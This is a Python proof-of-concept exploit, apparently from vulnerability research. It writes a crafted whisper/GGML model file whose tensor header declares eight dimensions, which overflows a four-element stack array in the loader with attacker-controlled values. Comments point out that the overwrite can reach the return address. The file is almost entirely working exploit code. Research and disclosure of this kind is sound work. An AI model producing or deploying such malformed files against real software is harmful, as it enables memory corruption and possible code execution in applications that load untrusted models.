#!/usr/bin/env python3
"""
Refined PoC for VULN-1: Stack buffer overflow via n_dims > 4
This is the most exploitable bug - writes controlled data to the stack.
"""
import struct, os

GGML_FILE_MAGIC = 0x67676d6c

def write_i32(f, val):
    f.write(struct.pack('<i', val))

def write_u32(f, val):
    f.write(struct.pack('<I', val))

def write_f32(f, val):
    f.write(struct.pack('<f', val))

path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "poc_refined_ndims.bin")
with open(path, 'wb') as f:
    # Header
    write_u32(f, GGML_FILE_MAGIC)
    # hparams: minimal config
    write_i32(f, 51864)  # n_vocab
    write_i32(f, 1500)   # n_audio_ctx
    write_i32(f, 384)    # n_audio_state
    write_i32(f, 6)      # n_audio_head
    write_i32(f, 4)      # n_audio_layer
    write_i32(f, 448)    # n_text_ctx
    write_i32(f, 384)    # n_text_state
    write_i32(f, 6)      # n_text_head
    write_i32(f, 4)      # n_text_layer
    write_i32(f, 80)     # n_mels
    write_i32(f, 1)      # ftype

    # Mel filters: n_mel=80, n_fft=201
    write_i32(f, 80)
    write_i32(f, 201)
    for _ in range(80 * 201):
        write_f32(f, 0.0)

    # Vocab: 51864 tokens
    write_i32(f, 51864)
    for i in range(51864):
        word = f"t{i}".encode()
        write_u32(f, len(word))
        f.write(word)

    # Tensor 1: EXPLOITABLE - n_dims = 8 (overflows ne[4] by 4 int32s = 16 bytes)
    # The ne[] array is int32_t ne[4] on the stack.
    # Writing n_dims=8 writes 4 int32_t values past the end of ne[4].
    # Those 4 values overwrite whatever is adjacent on the stack:
    #   - could be return address, saved frame pointer, or other local variables
    #
    # Stack layout in whisper_model_load at the tensor loop:
    #   int32_t ne[4] = {1,1,1,1}   <- 16 bytes
    #   ... other locals ...
    # Writing ne[4], ne[5], ne[6], ne[7] = controlled attacker values
    
    write_i32(f, 8)      # n_dims = 8 (will write ne[0..7], ne[4..7] are OOB)
    write_i32(f, 27)     # length of tensor name
    write_i32(f, 0)      # ttype = F32 (valid type)
    
    # ne[0..3] - within bounds of ne[4]
    write_i32(f, 384)    # ne[0]
    write_i32(f, 1500)   # ne[1]
    write_i32(f, 1)      # ne[2]
    write_i32(f, 1)      # ne[3]
    
    # ne[4..7] - STACK OVERFLOW - writes past end of ne[4] array
    write_i32(f, 0x41414141)  # ne[4] - OOB write #1
    write_i32(f, 0x42424242)  # ne[5] - OOB write #2
    write_i32(f, 0x43434343)  # ne[6] - OOB write #3
    write_i32(f, 0x44444444)  # ne[7] - OOB write #4
    
    # Tensor name
    f.write(b"encoder.positional_embedding")
    
    # Padding
    f.write(b"\x00" * 4096)

print(f"[+] Generated refined PoC: {path}")
print(f"    Trigger: n_dims=8, writes 4 controlled int32 values past ne[4] stack buffer")
print(f"    Impact: Stack buffer overflow with attacker-controlled data (0x41414141...)")